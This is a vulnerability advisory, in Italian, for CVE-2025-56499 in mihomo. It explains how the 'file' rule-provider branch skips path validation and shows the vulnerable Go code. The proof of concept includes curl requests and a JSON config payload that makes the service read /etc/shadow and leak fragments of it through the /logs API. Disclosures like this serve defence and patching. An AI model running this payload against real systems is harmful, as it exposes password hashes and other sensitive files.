CVE-2025-56499

Lettura arbitraria di file tramite mancata validazione del percorso in Local Rule Provider

Fix a monte: https://github.com/MetaCubeX/mihomo/pull/2177

Versioni affette: mihomo <= v1.19.11

Riepilogo

Durante l'analisi della configurazione rule-providers, il ramo type = "file" non valida il percorso fornito. Un attaccante autenticato che controlla schema.Path può indirizzare il provider verso qualsiasi file locale leggibile. Poiché la maggior parte dei file arbitrari non è conforme al formato previsto per le regole, gli errori di parsing (inclusi frammenti sostanziali del contenuto del file) vengono emessi nei log in memoria ed esposti tramite l'API /logs. Dato che mihomo viene spesso eseguito con privilegi elevati (root / amministratore), ciò comporta una divulgazione di informazioni ad alto impatto.

Tipo e causa principale

• Tipo: Lettura arbitraria di file / mancata validazione del percorso.
• Causa diretta: In rules/provider/parse.go, il caso schema.Type == "file" invoca solo C.Path.Resolve() e non applica mai C.Path.IsSafePath() o alcun vincolo equivalente di whitelist/sandbox.

var vehicle P.Vehicle
switch schema.Type {
case "file":
    path := C.Path.Resolve(schema.Path)
    vehicle = resource.NewFileVehicle(path)
case "http":
    path := C.Path.GetPathByHash("rules", schema.URL)
    if schema.Path != "" {
        path = C.Path.Resolve(schema.Path)
        if !C.Path.IsSafePath(path) {
            return nil, C.Path.ErrNotSafePath(path)
        }
    }
    vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
    return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
    return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}

Carenze del ramo file:

• Nessuna normalizzazione del percorso + applicazione del confine di sicurezza.
• Consente percorsi assoluti che puntano a posizioni sensibili del sistema.

Flusso di sfruttamento

1. L'attaccante interroga o riceve in streaming /logs per catturare l'output degli errori di parsing.
2. L'attaccante invia una configurazione manipolata tramite /configs contenente una voce dannosa rule-providers con type = file e il percorso del file target.
3. Il servizio tenta di analizzare il file come dati di regola → fallisce → emette frammenti di errore e contenuto nei log.
4. L'attaccante raccoglie i dati trapelati; ripete per ampliare la copertura o affinare l'estrazione.

PoC

Ascolta i log (esempio token Bearer 123):

curl -X GET "http://localhost:9999/logs" \
  -H "Authorization: Bearer 123"

Inietta configurazione per leggere /etc/shadow:

curl -X PUT "http://localhost:9999/configs" \
  -H "Authorization: Bearer 123" \
  -H "Content-Type: application/json" \
  -d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'

Payload senza escape:

{
  "log-level": "debug",
  "external-controller-unix": "mihomo.sock",
  "rule-providers": {
    "pwn": {
      "type": "file",
      "behavior": "classical",
      "format": "text",
      "path": "/etc/shadow"
    }
  }
}

Risultato: Le righe di fallimento del parsing in /logs contengono frammenti di /etc/shadow (screenshot di esempio):